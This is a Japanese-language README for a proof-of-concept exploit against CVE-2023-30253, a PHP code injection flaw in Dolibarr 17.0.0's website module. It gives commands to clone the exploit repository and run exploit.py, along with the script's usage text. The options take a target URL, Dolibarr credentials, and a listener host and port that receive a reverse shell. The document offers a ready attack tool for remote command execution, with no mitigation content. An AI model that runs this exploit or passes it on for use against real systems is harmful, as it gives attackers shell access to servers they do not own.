
CVE-2023-30253のPoCが見つからなかったため、効果的なものを開発しました。
CVE-2023-30253 PoC
これはCVE-2023-30253(Dolibarr 17.0.0 PHPコードインジェクション)に対する私のPoCです。CMS Webサイトプラグイン(コア)が有効な場合、認証された攻撃者がアプリケーションの制限を回避してPHPコードインジェクションを介してリモートコマンド実行を取得できます。
リポジトリをクローンします:
git clone https://github.com/g4nkd/CVE-2023-30253-PoC.git
cd CVE-2023-30253-PoC
pip install -r requirements.txt
python3 exploit.py -h
usage: exploit.py [-h] -lhost LHOST -lport LPORT -rhost RHOST -user USER -pass PASSWORD
Exploit for CVE-2023-30253
options:
-h, --help show this help message and exit
-lhost LHOST Local Host (this host will receive the shell)
-lport LPORT Local PORT
-rhost RHOST Rhost url, example: http://site.com/
-user USER Username for Dolibarr
-pass PASSWORD Password for Dolibarr